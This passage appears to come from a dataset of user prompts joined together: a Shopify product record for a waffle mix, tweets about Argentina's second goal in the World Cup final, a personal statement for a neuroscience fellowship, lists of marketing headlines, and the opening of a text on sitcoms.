made in huge batches with meat from the weekly hunt.' +'You provided random informations, I want you to use infomrations from here\n\n{\n "id": "4f07d5a7-4311-4d4d-9d12-342f6bc1d7e1",\n "shop": {\n "id": "4c2f2588-8cfa-479a-8bcf-0c7ee75ee36f",\n "myshopify\\_domain": "gastronomical-global.myshopify.com",\n "country": "US",\n "domain": "ghettogastro.com"\n },\n "variants": [\n {\n "id": "22cc1ccc-6418-4f3c-a9d9-c06e2ce22a4a",\n "shop": {\n "id": "4c2f2588-8cfa-479a-8bcf-0c7ee75ee36f",\n "myshopify\\_domain": "gastronomical-global.myshopify.com",\n "country": "US",\n "domain": "ghettogastro.com"\n },\n "inventory\\_policy": "deny",\n "inventory\\_quantity": 278,\n "inventory\\_item\\_cost": null,\n "option1": "Default Title",\n "option2": null,\n "option3": null,\n "position": 1,\n "price": 20.0,\n "title": "Default Title",\n "sku": "GSTWVYAR1",\n "grams": 0.0,\n "weight": 0.0\n }\n ],\n "body\\_html": "Don’t cheat yourself, treat yourself with WAVY, a nourishing waffle and pancake mix that\'s sweet and decadent. Inspired by our ancestors breaking bread we connect the flavors of Africa, Asia, and The Americas through our ingredient stack. Made with organic roots and grains.\n\n\\nNon-GMO. Plant Based. Gluten Free. No sugar cane.\n\n\\n\n\n\\n\\n|\\n Ingredients |\\n Nutrition Facts |\\n\n\\n|\\n Rice Flour\\*, Cassava Flour\\*, Coconut Sugar\\*, Tigernut Flour\\*, Cocoa Butter Powder, Potato Starch\\*, Sorghum Flour\\*, Amaranth Powder\\*, Kosher Salt, Active Yeast\\*, Baking Powder, Sunflower Lecithin\\*. (\\*Organic) \xa0 |\\n \\n\n\n\\n\\n|\\n \\n12 servings per containerServing size: 3 Tablespoons (35g)\\n |\\n\n\\n|\\n |\\n |\\n\n\\n|\\n \\nAmount\xa0per Serving |\\n % Daily Value\\*\\n |\\n\n\\n|\\n |\\n |\\n\n\\n|\\n Calories\xa0150\\n |\\n |\\n\n\\n|\\n \\nTotal Fat 4.5g\\n |\\n 6% |\\n\n\\n|\\n \\n\xa0 \xa0 \xa0Saturated Fat 2g\\n |\\n 10% |\\n\n\\n|\\n \\n\xa0 \xa0 \xa0Trans Fat 0g\\n |\\n |\\n\n\\n|\\n Cholesterol 0mg\\n |\\n 0% |\\n\n\\n|\\n Sodium 150mg\\n |\\n 7% |\\n\n\\n|\\n Total Carbohydrate 23g\\n |\\n 8%\\n |\\n\n\\n|\\n \xa0 \xa0 \xa0Dietary Fiber 1g |\\n 4% |\\n\n\\n|\\n \\n\xa0 \xa0 \xa0Total Sugars 5g |\\n |\\n\n\\n|\\n \xa0 \xa0 \xa0 \xa0 \xa0 Includes 0g Added Sugars |\\n 0% |\\n\n\\n|\\n Protein 1g\\n |\\n |\\n\n\\n|\\n Vitamin D 0mcg |\\n 0% |\\n\n\\n|\\n Calcium 20mg |\\n 2% |\\n\n\\n|\\n Iron 1mg |\\n 6% |\\n\n\\n|\\n Potassium 73mg |\\n 2% |\\n\n\\n\\n\n\\n |\\n\n\\n\\n\n",\n "handle": "ancestral-roots-waffle-pancake-mix",\n "image\\_src": "https://cdn.shopify.com/s/files/1/0559/6689/2203/products/01\\_Ancestral\\_2.png?v=1652481515",\n "images": [\n {\n "id": 32177532338347,\n "alt": null,\n "src": "https://cdn.shopify.com/s/files/1/0559/6689/2203/products/01\\_Ancestral\\_2.png?v=1652481515",\n "width": 1771,\n "height": 2300,\n "position": 1,\n "created\\_at": "2022-05-13T18:38:29-04:00",\n "product\\_id": 6609476714667,\n "updated\\_at": "2022-05-13T18:38:35-04:00",\n "variant\\_ids": [],\n "admin\\_graphql\\_api\\_id": "gid://shopify/ProductImage/32177532338347"\n },\n {\n "id": 32177532305579,\n "alt": null,\n "src": "https://cdn.shopify.com/s/files/1/0559/6689/2203/products/01\\_Ancestral\\_1.png?v=1652481515",\n "width": 1277,\n "height": 1583,\n "position": 2,\n "created\\_at": "2022-05-13T18:38:28-04:00",\n "product\\_id": 6609476714667,\n "updated\\_at": "2022-05-13T18:38:35-04:00",\n "variant\\_ids": [],\n "admin\\_graphql\\_api\\_id": "gid://shopify/ProductImage/32177532305579"\n },\n {\n "id": 28933332697259,\n "alt": null,\n "src": "https://cdn.shopify.com/s/files/1/0559/6689/2203/products/gastronomical\\_wavy\\_waffle\\_and\\_pancake\\_mix\\_product\\_shot\\_3\\_ancestral\\_roots.png?v=1652481515",\n "width": 1662,\n "height": 2164,\n "position": 3,\n "created\\_at": "2021-06-08T12:59:50-04:00",\n "product\\_id": 6609476714667,\n "updated\\_at": "2022-05-13T18:38:35-04:00",\n "variant\\_ids": [],\n "admin\\_graphql\\_api\\_id": "gid://shopify/ProductImage/28933332697259"\n },\n {\n "id": 28933332795563,\n "alt": null,\n "src": "https://cdn.shopify.com/s/files/1/0559/6689/2203/products/gastronomical\\_wavy\\_waffle\\_and\\_pancake\\_mix\\_product\\_shot\\_4\\_ancestral\\_roots.png?v=1652481515",\n "width": 1666,\n "height": 2164,\n "position": 4,\n "created\\_at": "2021-06-08T12:59:51-04:00",\n "product\\_id": 6609476714667,\n "updated\\_at": "2022-05-13T18:38:35-04:00",\n "variant\\_ids": [],\n "admin\\_graphql\\_api\\_id": "gid://shopify/ProductImage/28933332795563"\n },\n {\n "id": 28933332828331,\n "alt": null,\n "src": "https://cdn.shopify.com/s/files/1/0559/6689/2203/products/gastronomical\\_wavy\\_waffle\\_and\\_pancake\\_mix\\_product\\_shot\\_5\\_ancestral\\_roots.png?v=1652481515",\n "width": 1664,\n "height": 2164,\n "position": 5,\n "created\\_at": "2021-06-08T12:59:51-04:00",\n "product\\_id": 6609476714667,\n "updated\\_at": "2022-05-13T18:38:35-04:00",\n "variant\\_ids": [],\n "admin\\_graphql\\_api\\_id": "gid://shopify/ProductImage/28933332828331"\n },\n {\n "id": 28933332762795,\n "alt": null,\n "src": "https://cdn.shopify.com/s/files/1/0559/6689/2203/products/gastronomical\\_wavy\\_waffle\\_and\\_pancake\\_mix\\_product\\_shot\\_6\\_ancestral\\_roots.png?v=1652481515",\n "width": 1662,\n "height": 2164,\n "position": 6,\n "created\\_at": "2021-06-08T12:59:50-04:00",\n "product\\_id": 6609476714667,\n "updated\\_at": "2022-05-13T18:38:35-04:00",\n "variant\\_ids": [],\n "admin\\_graphql\\_api\\_id": "gid://shopify/ProductImage/28933332762795"\n }\n ],\n "options": [\n {\n "id": 8499721339051,\n "name": "Title",\n "values": [\n "Default Title"\n ],\n "position": 1,\n "product\\_id": 6609476714667\n }\n ],\n "product\\_type": "Waffle & Pancake Mix",\n "published\\_at": "2021-04-04T22:06:37Z",\n "status": "active",\n "title": "Ancestral Roots",\n "vendor": "Ghetto Gastro",\n "origin\\_supplier\\_shop\\_domain": null\n}' +'Describe as reporting live a current event in 3 lines, what is happening right now using the following tweets, with a focus on the term "beautifull" :\n\nsourceText Time\nWhat a goal , beautiful 2-0 #FIFAWorldCup argetina dominating , france are clueless 15:36:49.0000000\n?????? beautiful goal #ARGFRA 15:36:51.0000000\nThat was just a beautiful team goal for Argentina’s 2nd 15:35:56.0000000\nArgentina 2nd goal was beautiful ?? 15:36:50.0000000\nArgentina second goal is pure class omg . Beautiful futbol ????? 15:36:38.0000000\nWhat a beautiful counter attack and fantastic goal!! #ArgentinaVsFrance 15:36:33.0000000\nThat goal from Argentina was why they call it the Beautiful Game 15:36:53.0000000\nbeautiful second goal Argentina ???? 15:36:56.0000000\nWow that was beautiful …what a goal #ArgentinaVsFrance 15:36:37.0000000\nBeautiful team goal by Argentina 15:36:51.0000000\nWhat a beautiful goal #ArgentinaVsFrance #FIFAWorldCup 15:36:26.0000000\nThat\'s a beautiful goal ???\'\'#ARGFRA #FIFAWorldCup 15:36:52.0000000\nBeautiful team goal Argentina ???? 15:36:21.0000000\nAngel Fucking Di Maria????????????\'Oh my God\'This is absolutely beautiful \'#ArgentinaVsFrance #FIFAWorldCup \'Goal of the tournament in terms of team work 15:36:28.0000000\nGOOOOOOOAAAL!!! \'\'Di Maria doubles the lead for Argentina. What a beautiful team goal. \'\'Argentina ???? 2???0?? France ???? \'\'#FifaWorldCup 15:36:50.0000000\nThat\'s a beautiful goal against one of the best teams in the world. Bravo, Argentina! 15:36:56.0000000\nBeautiful goal #ArgentinaVsFrance #FIFAWorldCup argies been all over France. Thoroughly deserve the 2 nil lead 15:36:48.0000000\nBeautiful Football. Beautiful Goal. THATS WHY YOU LOVE THIS BEAUTIFUL GAME! What a counter. ARGENTINA HAVE ONE HAND ON THE TROPHY!\'#FIFAWorldCup 15:36:42.0000000\nDi Maria SCOOOOOOOOOORESSSS\'\'2-0\'\'Beautiful goal.\'\'#WorldCupFinal 15:36:36.0000000\nDi Maria hands Argentina another goal, what a beautiful square play. Text book execution and they punish France. 15:36:56.0000000\nWhat a fucking goal\'Absolutely beautiful ?? \'#ArgentinaVsFrance #FIFAWorldCup 15:36:59.0000000\nbeautiful counter attacking goal from Argentina. France need to find a way to get Mbappe involved. 15:36:52.0000000\nThat was gorgeous wow. That was an amazing goal. I don\'t even want Argentina to win but I can\'t deny that was beautiful 15:36:36.0000000\nThat goal was beautiful ???? #WorldCupFinal 15:36:59.0000000\nArgentina came out to play. That goal was beautiful. What a performance by them so far 15:36:42.0000000\nNow that was a beautiful and well deserved goal! France is done. #WorldCupFinal 15:36:51.0000000\nBeautiful goal from Argentina!!??????????? #FIFAWorldCup 15:36:27.0000000\nBeautiful goal Argentina ???? 15:36:39.0000000\nWhat a beautiful set up & goal by Argentina!!! 15:36:29.0000000\nWHAT A BEAUTIFUL GOAL!!! #ARGFRA #WorldCupFinal #ArgentinaVsFrance 15:36:33.0000000\nBeautiful goal.\'#ARGFRA 15:35:54.0000000\nBeautiful Beautiful goal. France have not got going... 15:36:12.0000000\nWhat a ball by MacAllister!! Beautiful goal #BHAFC #ArgentinaVsFrance 15:36:52.0000000\nWhat a beautiful goal by Argentina #ArgentinaVsFrance 15:36:01.0000000\nBeautiful goal by Argentina to be fair 15:36:50.0000000\nDi Maria, beautiful goal \'\'#Argentina #FIFAWorldCupFinal 15:36:41.0000000\nwow that passing and goal was beautiful \'\'Argentina is not playing today \'\'#FIFAWorldCup #Arg 15:36:55.0000000\nOooof. Worst part is -- it\'s a beautiful goal and well deserved. #ArgentinaVsFrance 15:36:27.0000000\nDi Maria with a beautiful goal and Argentins double their lead. France is not themselves today. #ARGFRA 15:36:22.0000000\nJust beautiful football. Beautiful goal #ArgentinaVsFrance #WorldCupFinal 15:36:32.0000000\nArgentina deserves this. Team work and a goal. That is just beautiful ????????. #Yearofthegoat 15:36:40.0000000\nBeautiful goal Argentina 15:36:04.0000000\nWhat a beautiful goal by Argentina Jesus Christ 15:36:09.0000000\nBeautiful goal #ArgentinaVsFrance 15:36:19.0000000\nBeautiful goal. ??? Fantastic. #ArgentinaVsFrance #FIFAWorldCup #FIFAWorldCupFinal 15:36:13.0000000\nBeautiful goal by Argentina 15:36:10.0000000\nBeautiful goal?????? #ArgentinaVsFrance 15:36:10.0000000\nBeautiful goal from Argentina. 15:36:15.0000000\nWhat a beautiful goal! #ArgentinaVsFrance 15:36:08.0000000\nFucking beautiful SECOND GOAL\'\'LEGGGOOO ARGENTINA ???????? 15:36:55.0000000\nWhat a beautiful goal!!!! #ArgentinaVsFrance 15:36:40.0000000\nBeautiful goal! Just beautiful…. #ARGFRA #WorldCupFinal 15:36:06.0000000\nARGENTINA WHAT A BEAUTIFUL GOAL!!! 15:36:24.0000000\nBeautiful Goal!!!! #ArgentinaVsFrance #FIFAWorldCup #Messi??day 15:36:39.0000000\nBeautiful goal #ArgentinaVsFrance 15:36:57.0000000\nWhat a beautiful goal damnnnn ?? Go on Argentina!!!! 15:36:00.0000000\n2-0! What a beautiful goal! ?? #FIFAWorldCup #ArgentinaVsFrance 15:36:33.0000000\nWhat a beautiful goal #ARGFRA 15:36:11.0000000\nThat was terrific! \'\'That was absolutely beautiful! \'\'This goal was fully deserved!!\'\'#FIFAWorldCupFinal #ArgentinaVsFrance #Messi?? 15:36:25.0000000\nBeautiful fucken second goal by Argentina hahahaha omg that was a team goal 15:36:57.0000000\nDamn that was a beautiful sequence for the 2-0 Argentina goal?? 15:36:29.0000000\nThat\'Was\'BEAUTIFUL FOOTBALL \'\'WWWWOOOOWWWWW\'\'Look at how they turned a France half chance to a PERFECT Argentine counter and goal!\'\'Whole French Midfield and Defense in straight shambles 15:36:59.0000000\nWhat a beautiful goal that was ???? #ArgentinaVsFrance 15:36:19.0000000\nAbsolutely beautiful goal by Argentina. Perfection. 15:36:40.0000000\nThat’s a beautiful, beautiful goal by Argentina 15:36:45.0000000\nBeautiful goal by Di Maria #ArgentinaVsFrance #FIFAWorldCup 15:36:18.0000000\nTHAT WAS A BEAUTIFUL GOAL FROM ARGENTINA 15:36:49.0000000\nwhat a beautiful goal #ARGFRA 15:36:18.0000000\nCalled it. This one goal was fucking beautiful! #ARGFRA 15:35:55.0000000\nThat goal was BEAUTIFUL #ARGFRA 15:36:19.0000000\nWhat a beautiful Argentina goal. 15:35:56.0000000\nBeautiful Argentina goal!! What a cross!!!! #FIFAWorldCup #ArgentinaVsFrance 15:36:42.0000000\nWhat a beautiful goal by Argentina. #FIFAWorldCup 15:36:55.0000000\nThat was such a beautiful goal, it was seamless and effortless. Messi has one hand on the #WorldCup trophy 2-0 #ArgentinaVsFrance #Qatar2022 15:36:53.0000000\nWhat a beautiful goal! So we’ll played by Argentina. 15:36:58.0000000\nThat was a beautiful goal!! ?? #WorldCupFinal 15:36:29.0000000\nBEAUTIFUL GOAL FROM ARGENTINA WTF 15:36:29.0000000\nYESSS WHAT A BEAUTIFUL GOAL BY ARGENTINA 15:36:29.0000000\nWhat a beautiful goal! One touch football!! Orgasmic play from Argentina ???? 15:36:50.0000000\nOh my word. Argentina deserve the trophy for that goal alone. Absolutely beautiful ?? #WorldCupFinal 15:36:30.0000000\nBeautiful goal in the run of play. Argentina is completely dominating France. 15:36:40.0000000\nThat is a beautiful goal. What a move by Argentina. #ArgentinaVsFrance #FIFAWorldCup 15:36:38.0000000\nThat’s a beautiful and perfect goal for Argentina 15:36:25.0000000\nWhat a beautiful goal, vamos Argentina!!! 15:36:55.0000000\nThat was a beautiful goal! 2-0 Argentina in the 36th minute. 15:36:50.0000000\nDI MARIA WHAT A BEAUTIFUL FUCKING GOAL ARGENTINA WHAT A BEAUTIFUL FUCKING PLAY 15:36:23.0000000\nWhat. A. Beautiful. Goal. #ArgentinaVsFrance #FIFAWorldCup 15:36:54.0000000\nBeautiful second goal for Argentina omg yesss 15:35:56.0000000\nThat was such a beautiful goal for Argentina 15:36:50.0000000\nArgentina ???? what a beautiful goal!!! 15:36:22.0000000\nChampagne football ?? Beautiful team goal ???? #ArgentinaVsFrance 15:36:29.0000000\nThat was a beautiful goal \'\'Thats a wrap France are no coming back from this 15:36:55.0000000\nBeautiful ball movement by Argentina on that goal\'\'#WorldCupFinal 15:36:59.0000000\nBeautiful second goal.\'Just beautiful #ArgentinaVsFrance #WorldCup 15:35:53.0000000\nBeautiful goal! #FIFAWorldCupFinal ???? 15:36:27.0000000\n2-0!!!!!!!!!! Argentina!!!!!!!! What a beautiful goal!!!!!!!!! ????\'#FIFAWorldCup #WorldCup 15:36:32.0000000\nWhat a beautiful goal. \'France are asleep 15:36:45.0000000\nBeautiful team goal worthy of the finals #WorldCup \'Argentina deserves to win this better team all game 15:36:57.0000000\nBeautiful goal!!! #WorldCup #ArgentinaVsFrance 15:36:27.0000000\nBeautiful goal. France have been shocking 15:35:58.0000000' +'Damian, here is an example of a application I wrote, please remember all of the details about me and my writing style:\n\nPersonal, Relevant Background, and Future Goals\nThe Matrix, the movie, inspired me as a child. Seeing Neo go into the Matrix left me filled with awe and with questions. The idea of being able to interface the human brain with virtual reality fascinated me. I found myself spending hours trying my best to find more information on the subject. However, when I couldn’t find anything about it, my curiosity intensified. What little information on the topic I did find painted the concept as science fiction, and even as an adolescent, I asked why was interfacing with the brain like they did in the Matrix impossible? As I matured, my research followed suit. I became more interested in neural interfaces. With further investigation, the question of why was it impossible? transformed into how can I make this technology real?\n My passion continued into high school, and I decided to take online neuroscience courses to help sate my hunger for more knowledge about neuroscience. During my sophomore year of high school, I gave a TEDx talk sharing my ideas on how I believed an actual virtual reality could be achieved. I thought that an electroencephalogram (EEG) could be used to read the user’s brain activity. However, I hadn’t figured out the problem of writing to the brain. Likewise, EEG would not give a high enough resolution to understand what was happening on a neuronal level. Therefore, I decided I would have to learn more about device construction to solve these problems. \nI joined my school’s FTC robotics team during my junior year of high school to gain insight into device construction. As captain, I lead our team to the state championship twice. The experiences I had there truly made me fall in love with engineering. I took the combined love of neuroscience and engineering to university, where I learned much about both the scientific method and designing medical devices. Now, I hope to take my passion for neuroscience and engineering to create neural interfaces in graduate school, building towards the device I had dreamed of when I saw The Matrix. I now understand the vast amount of cross-disciplinary innovations and advancements needed to make such a device possible. Hence, as a researcher, I want to devote my life to making them a reality. \nRelevant Research Experience: \nI chose to major in Biomedical Engineering at Worcester Polytechnic Institute due to its project-based education and academic rigor. I hoped to be able to work towards my research goals while pursuing my bachelor’s. Each class was an invaluable experience requiring one to learn the material and apply it in a project. These projects were typically group-based, so I was constantly involved in different collaborations, where I needed to take the initiative to guarantee success. I naturally assumed leadership roles in any project I participated in. While all of these experiences helped mold me into being an astute researcher and leader, one class, in particular, highlights my progress. In the course Cellular Engineering lab, I was taught how to use modern cellular and molecular biology tools. My group was tasked with designing an intervention to differentiate C2C12 cells, an immortalized cell line of mouse muscle cells. Meticulous attention to detail and extensive research was necessary for this project to succeed, or the cells would not differentiate properly. I found myself going to the lab late at night to ensure the cells’ vitality while coordinating with my groupmates to ensure the project’s success. In the end, we were commended for being the only team able to grow a functioning muscle. From this experience, my ability to do rigorous research was sharpened, and I learned how to take a leadership role in wet lab driven projects. \nIn my sophomore year, I entered the WPI Hackathon, where nearly 200 students participated. In three days, I was able to use an Arduino circuit to create a single-channel EEG machine. The EEG exceeded expectations despite the time constraint. I treasure the experience because it taught me the importance of time management.\nThere were no opportunities at my school to further my studies into neuroscience, so I continued my online neuroscience classes, delving more in-depth into neuroanatomy and computational neuroscience. Hoping to gain real research experience in neuroscience, I applied and was accepted into the 2020 summer undergraduate research program in Computational Neuroscience hosted by Carnegie Mellon University and the University of Pittsburgh. Due to the coronavirus, the internship had to be transitioned to an online format, which required me to work more independently. Despite the coronavirus and my lack of formal training in neuroscience, my independent research and preparation allowed me to thrive in a research environment. I worked in Dr. Aaron Batista’s lab under the guidance of his graduate student Erinn Grigsby where another student and I studied the impact of neuron dropping on decoder performance. By utilizing my skills in Matlab, we created three different Kalman filters and linear regression decoders. Each decoder contained different position, velocity, and velocity-position decoders to test the most robust neuron dropping. Despite the challenges presented by the coronavirus, we could virtually present our work at the Center of the Neural Basis of Cognition. Getting the chance to work in Dr. Batista’s lab was by far the most rewarding experience in my professional career. The experience enriched my ability to decipher through papers to find the pertinent information needed to complete the project. It strengthened my ability to pose a question and find an objective method to answer it. Most importantly, I gained an in-depth knowledge of how brain-computer interface decoders operate and first-hand experience developing and designing them. \nCurrent Research: \nAfter the lessons learned from my summer research experience, I aim to apply them to my current projects. I am continuing my research into brain-computer interface decoders with my summer partner, specifically investigating how factors such as modulation depth and preferred direction factor into decoder performance as neurons are dropped. We hope to see if specific neurons are essential for decoding a particular action than other neurons. For my future projects, knowledge of brain-computer interface decoders is crucial for their success. \nAs part of my senior thesis at WPI, I am a part of a team, under the guidance of Dr. Dirk Albrecht, investigating the dosing of deep brain stimulation (DBS) in disorders such as Parkinson’s Disease, dystonia, essential tremor, and epilepsy. Our primary goal is to find a method of optimizing the procedure of finding the correct dosage of frequency, modulation depth, and voltage for each unique individual. We aim to conduct this study utilizing C. elegans as a model system because of the animal’s completed connectome. Knowing the connectome may help see the underlying mechanisms that allow DBS to be an effective treatment for the previously stated diseases. We hope that by identifying the underlying mechanisms of DBS, the treatment might be optimized. With this experience, I will gain experience with imaging and stimulating neurons techniques and greater exposure to behavior analysis to support scientific conclusions.\nLastly, I am conducting a formal independent study into neural nanotransducers under the supervision of Dr. Dirk Albrecht. These transducers would be injectable and biocompatible, and they would allow for both high-resolution imaging and external modulation of neurons on a nanoscale. I hope this independent study will be a sufficient transition into the work I plan to pursue as a graduate student. Neural nanotransducers may lay the foundation for creating a minimally invasive, bidirectional neural interface and change the question I’ve asked of How into When. \nCommunity Engagement:\nAs someone who has been supported by the people in my life, I’ve always wanted to give back and encourage youth to get into STEM. As captain of the robotics team, I helped pioneer a weekend program where middle schoolers from inner-city schools could participate in our robotics meetings and create their own Lego robots. Many of these children probably would never have had these experiences due to a lack of STEM funding in their schools. In particular, one student told me that those workshops are what made her want to go to university to become an engineer. At WPI, I am a part of the Collablab, which is an entirely student-run makerspace. I helped devise creative projects to inspire people to think outside the box and pursue their own personal projects. Being a part of the Collablab has taught me that interdisciplinary approaches to projects are crucial. \nOne of my biggest passions other than neuroscience and engineering is writing. I wrote an engineering ethics case study surrounding the Florida International University bridge collapse that is used as the primary material for a new behavioral engineering ethics course. In this class, engineers are taught the ethical code and what causes people to make those decisions to prepare them better to make the right moral choices. \nWorcester is a unique and safe city, but no matter where you are, the night can be an unsafe time. I am a part of a student-run shuttle program charged with making travel at night safer for students. After three months, I was tasked with leading the group of students. During my time as coordinator, I improved the system of taking calls by students and helped modernize the system by developing an app for the program. \nI am currently building an app that would allow blind people to more easily use their mobile devices. The app works by using optical character recognition to scan the text on the screen and read it aloud. To make it more natural for the user, they would be given the option to train their voice to be used as the text to speech output. This app would also help people suffering from dyslexia because it could read aloud any passage that they would typically have trouble reading. \nFuture Goals: \n With the NSF fellowship’s help, I will continue to research neural interfaces as I pursue my Ph.D. in neuroscience. I believe that neural interfaces can be a great tool to help to further society and make the world a better place for all. After obtaining my Ph.D., I plan to found a research company dedicated to designing and building minimally invasive, high-resolution, and bidirectional neural interfaces. Many scientific advancements will be required before such a device could feasibly be made. I hope to work with other institutions to tackle those problems and further understand neuroscience with this company.\n I believe that knowledge is a power that everyone, no matter what your background, deserves. I plan to create a program to help young people of color and women enter into neuroscience and facilitate their research with my company. With the knowledge gained from my research experiences, I hope to mentor the next generation and help them to answer their questions about the world, just like those who helped me along the way.' +'"The Ultimate Guide To Crafting Killer Headlines That Sell"\n"The Secret To Writing Headlines That Captivate Your Audience"\n"The Power of a Great Headline: How to Create Click-Worthy Content"\n"The Psychology of Headlines: What Makes People Click?"\n"The Art of Writing Magnetic Headlines That Demand Attention"\n"10 Simple Formulas for Writing Headlines That Get Results"\n"The Anatomy of a Great Headline: A Breakdown of What Works"\n"The Ultimate List of Proven Headline Formulas That Get Clicks"\n"How to Write Headlines That Convert: A Step-by-Step Guide"\n"The Science of Writing Headlines That Go Viral"\n"10 Secrets to Writing Headlines That Sell Like Crazy"\n"The Ultimate Cheat Sheet for Crafting Killer Headlines That Drive Traffic"\n"How to Write Headlines That Stand Out in a Crowded Market"\n"The Ultimate Guide to Writing Clickable Headlines That Drive Engagement"\n"The Secret to Writing Headlines That Get Your Content Noticed"\n"The Psychology of Writing Headlines: How to Tap Into Your Audience\'s Desires"\n"10 Tips for Writing Headlines That Command Attention"\n"The Art and Science of Writing Headlines That Convert"\n"How to Write Headlines That Drive Traffic and Boost Conversions"\n"The Ultimate Guide to Writing Headlines That Hook Your Readers"\n"Do You Make These Mistakes In English?"\n"Amazing Secret Discovered By One-Legged Golfer!"\n"Can You Spot The Hidden Clue In This Ad?"\n"Wanted: Professional Money-Raiser!"\n"Confessions Of A Mail Order Millionaire!"\n"Forbidden City Of Unadvertised Products And Services!"\n"The Secret Of Making People Like You"\n"How To Get Richer Than You Think You Can"\n"How To Burn Off Body Fat Hour-By-Hour"\n"The Lazy Man\'s Way To Riches"\n"Top Ten Direct Response Marketing Books"\n"Instant Profits: The One-Two Punch"\n"Ad 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Rich In Real Estate"\n"How To Make Money With Classified Ads"\n"How To Write Killer Classified Ads"\n"How To Write A Winning Sales Letter"\n"How To Make Your Ads Sell Like Crazy"\n"How To Create A Marketing Plan"\n"How To Create A Mailing List That Gets Results"\n"How To Create An Irresistible Offer"\n"How To Create An Ad That Sells"\n"How To Use Direct Mail To Sell Your Product Or Service"\n"How To Write A Sales Letter That Sells"\n"How To Write A Sales Page That Converts"\n"How To Use Classified Ads To Make Money"\n"How To Sell Your Products Or Services With Video Marketing"\n"How To Use Social Media To Promote Your Business"\n"How To Sell Anything To Anyone"\n"How To Write An Ad That Sells"\n"The Ultimate Sales Letter"\n"The Ultimate Marketing Plan"\n"The Ultimate Guide To Direct Mail Marketing"\n"The Ultimate Guide To Copywriting"\n"The Ultimate Guide To Writing Powerful Headlines"\n"The Ultimate Guide To Writing Sales Letters"\n"The Ultimate Guide To Making Money With Direct Mail"\n"The Ultimate Guide To Writing Ad Copy That Sells"\n"The Ultimate Guide To Selling Anything To Anyone"\n"The Ultimate Guide To Creating Killer Sales Pages"\n"The Ultimate Guide To Marketing Your Business With Video"\n"The Ultimate Guide To Using Social Media To Promote Your Business"\n"The Ultimate Guide To Creating Irresistible Offers"\n"The Ultimate Guide To Writing Persuasive Ads"\n"The Ultimate Guide To Direct Response Marketing"\n"The Ultimate Guide To Writing Killer Ad Copy"\n"The Ultimate Guide To Making Money With Classified Ads"\n"The Ultimate Guide To Creating High-Converting Landing Pages"\n"The Ultimate Guide To Writing Winning Sales Letters"\n"The Ultimate Guide To Creating Powerful Marketing Messages"\n"The Ultimate Guide To Writing Effective Email Marketing Campaigns"\n"The Ultimate Guide To Creating Successful Marketing Funnels"\n"The Ultimate Guide To Selling Your Products Or Services Online"\n"The Ultimate Guide To Using SEO To Drive Traffic To Your Website"\n"The Ultimate Guide To Writing Irresistible Product Descriptions"\n"The Ultimate Guide To Creating Compelling Infographics"\n"The Ultimate Guide To Using Storytelling In Your Marketing"\n"The Secret of Making People Like You"\n"The Ultimate Guide to [insert topic]"\n"Discover the Simple Secret to [desired outcome]"\n"How to [insert desired outcome] in Just [insert time period]"\n"Unlock the Hidden Potential of [insert topic]"\n"Are You Making These [insert number] Mistakes in [insert topic]?"\n"The Shocking Truth About [insert topic]"\n"The Top [insert number] Ways to [insert desired outcome]"\n"Get [desired outcome] in Record Time with [insert product or service]"\n"The Amazing [insert product or service] That Will Change Your Life Forever"\n"The [insert number] Secrets to [insert desired outcome]"\n"How to [insert desired outcome] Like a Pro"\n"The [insert topic] That Everyone is Talking About"\n"The [insert number] Rules for [insert desired outcome]"\n"The One Thing You Need to Know to [insert desired outcome]"\n"Why [insert topic] is the Next Big Thing"\n"Discover the Hidden Benefits of [insert topic]"\n"The [insert number] Habits of Highly Successful [insert profession or group]"\n"The [insert topic] Mistake That You\'re Probably Making"\n"The Complete Guide to [insert topic]"\n"Get [insert desired outcome] Without [insert negative aspect]"\n"The [insert number] Essential Tips for [insert desired outcome]"\n"The [insert number] Hacks to [insert desired outcome]"\n"The [insert topic] Revolution: How [insert product or service] is Changing the Game"\n"The [insert number] Secrets to [insert topic] Success"\n"The [insert topic] Strategy That Works Every Time"\n"The [insert topic] Trend That\'s Taking Over"\n"The [insert number] Steps to [insert desired outcome]"\n"The [insert number] Reasons Why [insert product or service] is a Must-Have"\n"The [insert topic] App That Everyone is Raving About"\n"The [insert number] Benefits of [insert topic]"\n"The [insert number] Things You Didn\'t Know About [insert topic]"\n"The [insert topic] Challenge That\'s Sweeping the Nation"\n"The [insert number] Secrets of [insert topic] Masters"\n"The [insert topic] Solution You\'ve Been Looking For"\n"The [insert topic] Phenomenon: Why Everyone is Obsessed"\n"The [insert number] Surprising Benefits of [insert topic]"\n"The [insert topic] Debate: What You Need to Know"\n"The [insert number] Fastest Ways to [insert desired outcome]"\n"The [insert topic] Trick That Will Change Your Life"\n"The [insert topic] Scandal That Everyone is Talking About"\n"The [insert number] Keys to [insert desired outcome]"\n"The [insert topic] Strategy That\'s Taking Over [insert industry]"\n"The [insert topic] App That Will Revolutionize Your [insert activity]"\n"The [insert topic] Myths That You Need to Stop Believing"\n"At 60 miles an hour, the loudest noise in this new Rolls-Royce comes from the electric clock."\n"The man in the Hathaway shirt."\n"Only Dove is one-quarter moisturizing cream."\n"The Guinness Guide to Oysters."\n"Pianos That Don\'t Stick."\n"If you wear a uniform, you can\'t afford not to own a Singer."\n"How to create advertising that sells."\n"Man in the Hathaway shirt becomes art collector."\n"Can You Afford This House?"\n"The woman who can\'t gain weight."\n"Don\'t be vague. Ask for Haig."\n"You don\'t have to be Jewish to love Levy\'s Rye Bread."\n"He doesn\'t wear a Benrus watch."\n"The theory and practice of selling the AG."\n"At 60 miles an hour, the loudest noise in this new Rolls-Royce comes from the electric clock."\n"The man in the Hathaway shirt."\n"Only Dove is one-quarter moisturizing cream."\n"The Guinness Guide to Oysters."\n"Pianos That Don\'t Stick."\n"If you wear a uniform, you can\'t afford not to own a Singer."\n"How to create advertising that sells."\n"Man in the Hathaway shirt becomes art collector."\n"Can You Afford This House?"\n"The woman who can\'t gain weight."\n"Don\'t be vague. Ask for Haig."\n"You don\'t have to be Jewish to love Levy\'s Rye Bread."\n"He doesn\'t wear a Benrus watch."\n"The theory and practice of selling the AG."\n"How to create advertising that sells"\n"What Everybody Ought to Know About This Stock and Bond Business"\n"How to Make Money Out of Thin Air"\n"Where to Find Uncluttered Investment Counsel"\n"This Could Be the Most Important Information You\'ll Ever Read"\n"How to Make $5,000 a Year Without Capital, Experience or Know-How"\n"The Quickest Way to Make Money Online"' +'read this Sitcome\n\nDefining the Genre\nSo, what is a situational comedy? As the sitcom cliché goes, Webster’s dictionary defines ‘sitcom’ as:\n‘a radio or television comedy series that involves a continuing cast of characters in a succession of episodes’\xa0\nSo a sitcom is simply a comedy in a situation. Frequently, this incorporates an ensemble 